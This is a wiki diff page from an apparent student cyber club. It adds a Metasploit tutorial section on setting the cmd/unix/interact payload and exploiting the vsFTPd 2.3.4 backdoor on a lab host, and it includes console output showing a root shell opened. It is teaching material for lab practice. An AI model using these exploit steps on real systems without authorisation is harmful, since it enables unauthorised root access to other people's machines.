Differences

This shows you the differences between two versions of the page.

--- metasploit [2019/09/23 20:48]
acm [Using Exploits]
+++ metasploit [2019/09/23 21:03] (current)
acm [Running the Exploit]
@@ Line 50: / Line 50: @@
 ==== Payloads ====
-If we think of an exploit as how we get in the door, then payloads are what we do once we are in the house.  Not every payload will work with every exploit, so once our exploit is set, as it is now, we can run <code>show payloads</code> and we can see a list of compatible payloads.
+If we think of an exploit as how we get in the door, then payloads are what we do once we are in the house.  Not every payload will work with every exploit, so once our exploit is set, as it is now, we can run <code>show payloads</code> and we can see a list of compatible payloads.  In this case we see
+<code>
+Compatible Payloads
+===================
+   #  Name               Disclosure Date  Rank    Check  Description
+   -  ----               ---------------  ----    -----  -----------
+  cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection
+</code>
+This is a unix interactive shell in the target computer.  To set this as the payload, we run the command
+<code>set payload cmd/unix/interact</code>
+Finally to make sure we have everything set we run <code>show options</code> one more time, and make sure everything looks right.
+==== Running the Exploit ====
+Running the exploit once everything is set is as simple as running <code>exploit</code>
+Which results in
+<code>
+[*] 192.168.0.108:21 - Banner: 220 (vsFTPd 2.3.4)
+[*] 192.168.0.108:21 - USER: 331 Please specify the password.
+[+] 192.168.0.108:21 - Backdoor service has been spawned, handling...
+[+] 192.168.0.108:21 - UID: uid=0(root) gid=0(root)
+[*] Found shell.
+[*] Command shell session 1 opened (192.168.0.197:39837 -> 192.168.0.108:6200) at 2019-09-23 20:56:21 -0500
+whoami
+root
+</code>
+As can be seen above when we ran the whoami command we got root, meaning we know have a root shell on the target computer.
+==== Final Thoughts ====
+There is a ton more that can be done with Metasploit, and this is literally just the tip of the iceberg as far as functionality goes.  There are scanners, reverse shells, the Meterpreter shell, and even ways to group your projects and credentials, but this should be enough to get you started with the basic functionality.  For more info and the full documentation go to [[https://metasploit.help.rapid7.com/docs|Metasploit Docs]]

UT Martin Cyber Ambassadors

User Tools

Site Tools

Differences

Page Tools